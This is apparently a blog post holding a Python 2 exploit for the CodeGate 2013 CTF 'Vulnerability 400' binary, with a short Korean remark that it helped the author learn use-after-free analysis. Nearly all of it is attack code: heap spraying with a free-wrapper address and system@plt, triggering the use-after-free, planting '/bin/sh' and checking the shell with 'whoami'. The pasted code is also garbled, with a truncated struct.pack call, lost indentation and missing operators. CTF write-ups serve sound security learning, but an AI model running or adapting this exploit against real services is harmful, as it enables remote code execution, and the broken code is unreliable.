CodeGate 2013 Vulnerability 400 Exploit

Binary :

level4

from socket import *

import struct

import time

p = lambda x : struct.pack("

ip = "192.168.0.109"

port = 31333

freewrap = 0x080487c4

system_plt = 0x08048630

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))

print s.recv(1024)

print s.recv(1024)

for i in range(0, 3):

s.send("1\n")

print s.recv(1024)

s.send("sweetchip\n")

print s.recv(1024)

s.send("31337\n")

print s.recv(1024)

s.send(p(freewrap)*0x100 p(system_plt)*0x300 "\n")

print s.recv(1024)

print s.recv(1024)

s.send("2\n")

print s.recv(1024)

print s.recv(1024)

s.send("2\n") # select board 2

print s.recv(1024)

print s.recv(0x1024)

for i in range(0, 0x80):

s.send("3\n")

print s.recv(1024)

s.send("zzzzzz\n") # reply

print s.recv(1024)

s.send("1\n")

print s.recv(1024)

s.send("4\n")

print s.recv(1024)

print s.recv(1024)

for i in range(0, 2):

s.send("1\n")

print s.recv(1024)

s.send("sweetchip\n")

print s.recv(1024)

s.send("31337\n")

print s.recv(1024)

s.send("BBBB" "\n")

print s.recv(1024)

print s.recv(1024)

s.send("2\n") # select board 2

print s.recv(1024)

print s.recv(1024)

s.send("4\n") # select board 4

print s.recv(1024)

print s.recv(0x1024)

s.send("2\n") # modify

print s.recv(1024)

s.send("sweetchi\n")

print s.recv(1024)

s.send("3137\n")

print s.recv(1024)

for i in range(0, 0x80):

s.send("3\n")

print s.recv(1024)

s.send("/bin/sh\n") # reply

print s.recv(1024)

s.send("1\n") # BOOM

s.send("whoami\n")

print s.recv(1024)

UAF 입문 및 분석에 많은 도움을 준 문제..

완벽히 궁금증들이 모두 풀린것은 아니지만 할만 하다.